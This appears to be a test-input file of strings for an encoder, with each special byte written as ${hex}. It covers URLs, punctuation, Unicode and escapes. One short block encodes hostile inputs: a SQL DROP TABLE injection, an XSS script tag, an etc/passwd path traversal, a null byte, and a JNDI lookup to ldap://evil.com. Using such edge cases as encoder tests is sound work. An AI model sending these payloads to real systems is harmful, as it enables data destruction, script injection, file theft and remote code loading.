abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
${30}${31}${32}${33}${34}${35}${36}${37}${38}${39}
${28}${29}${5b}${5d}${7b}${7d}${3c}${3e}
${2b}${2d}${2a}${2f}${3d}${25}${5e}
${2e}${2c}${21}${3f}${3a}${3b}${27}${22}
${40}${23}${24}${26}${5f}${7e}${60}${7c}${5c}

hello${20}world
test${20}string
simple${2d}test

path${2f}to${2f}resource
query${3f}param${3d}value
anchor${23}section
email${40}example${2e}com
array${5b}${30}${5d}
protocol${3a}${2f}${2f}host

key${3d}value${26}another${3d}test
first${3b}second${3b}third
item${2c}item${2c}item
name${3a}value
path${2f}to${2f}file${2e}txt

Hello${20}World${21}
What${27}s${20}happening${3f}
${31}${30}${30}${25}${20}complete
${24}${35}${30}${20}price${20}tag
Amount${3a}${20}${24}${31}${30}${30}
It${27}s${20}a${20}test${20}${28}with${20}parentheses${29}
Star${20}${2a}${20}asterisk
Plus${20}${2b}${20}sign

${31}${30}${30}${25}
${3c}html${3e}
data${26}more${26}data
file${20}path${20}with${20}spaces
parameter${3d}value${26}other${3d}data

caf${c3}${a9}
na${c3}${af}ve
se${c3}${b1}or
${e6}${97}${a5}${e6}${9c}${ac}${e8}${aa}${9e}
${f0}${9f}${9a}${80}
r${c3}${a9}sum${c3}${a9}
Z${c3}${bc}rich

${2f}
${2f}${2f}
${2f}${2f}${2f}
${3f}
${26}
${3d}
${25}
${25}${25}

${20}
${20}${20}${20}${20}

${27}${3b}${20}DROP${20}TABLE${20}users${2d}${2d}
${3c}script${3e}alert${28}${27}xss${27}${29}${3c}${2f}script${3e}
${2e}${2e}${2f}${2e}${2e}${2f}${2e}${2e}${2f}etc${2f}passwd
${25}${30}${30}null
${24}${7b}jndi${3a}ldap${3a}${2f}${2f}evil${2e}com${7d}

this${2d}is${2d}a${2d}very${2d}long${2d}string${2d}that${2d}might${2d}be${2d}used${2d}to${2d}test${2d}buffer${2d}handling${2d}and${2d}performance${2d}characteristics${2d}of${2d}the${2d}encoder
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

user${40}domain${2e}com${3f}redirect${3d}https${3a}${2f}${2f}example${2e}com${2f}path${3f}query${3d}value${26}other${3d}data
https${3a}${2f}${2f}example${2e}com${2f}search${3f}q${3d}hello${20}world${26}lang${3d}en${26}sort${3d}date
${2f}api${2f}v${31}${2f}users${3f}filter${5b}name${5d}${3d}John${20}Doe${26}include${3d}posts${2c}comments

hello${25}${32}${30}world
${31}${30}${30}${25}${32}${35}
caf${25}C${33}${25}A${39}

line${31}${5c}nline${32}
col${31}${5c}tcol${32}

${7e}tilde
${60}backtick
${5e}caret
${7b}curly${7d}
${7c}pipe${7c}

${22}double${20}quotes${22}
${27}single${20}quotes${27}
it${27}s
${22}mixed${20}${27}quotes${27}${20}test${22}

${32}${2b}${32}${3d}${34}
x${5e}${32}
${24}${31}${30}${30}
${e2}${82}${ac}${35}${30}
${c2}${a3}${33}${30}
${c2}${a5}${31}${30}${30}${30}

${2f}users${2f}${31}${32}${33}${2f}posts${2f}${34}${35}${36}
${2f}search${3f}q${3d}test${2b}query
${2f}path${2f}to${2f}resource${2e}html${3f}param${31}${3d}value${31}${26}param${32}${3d}value${32}
http${3a}${2f}${2f}example${2e}com${3a}${38}${30}${38}${30}${2f}path
ftp${3a}${2f}${2f}files${2e}example${2e}com${2f}document${2e}pdf

${21}${21}${21}
${3f}${3f}${3f}
${2e}${2e}${2e}
${2d}${2d}${2d}
${5f}${5f}${5f}
${3d}${3d}${3d}

${28}parentheses${29}
${5b}square${20}brackets${5d}
${7b}curly${20}braces${7d}
${3c}angle${20}brackets${3e}

${5c}r${5c}n
${5c}t${5c}t${5c}t
${5c}${30}

${25}${32}${35}${32}${30}
${25}${32}${35}${33}A
${25}${32}${35}${32}F
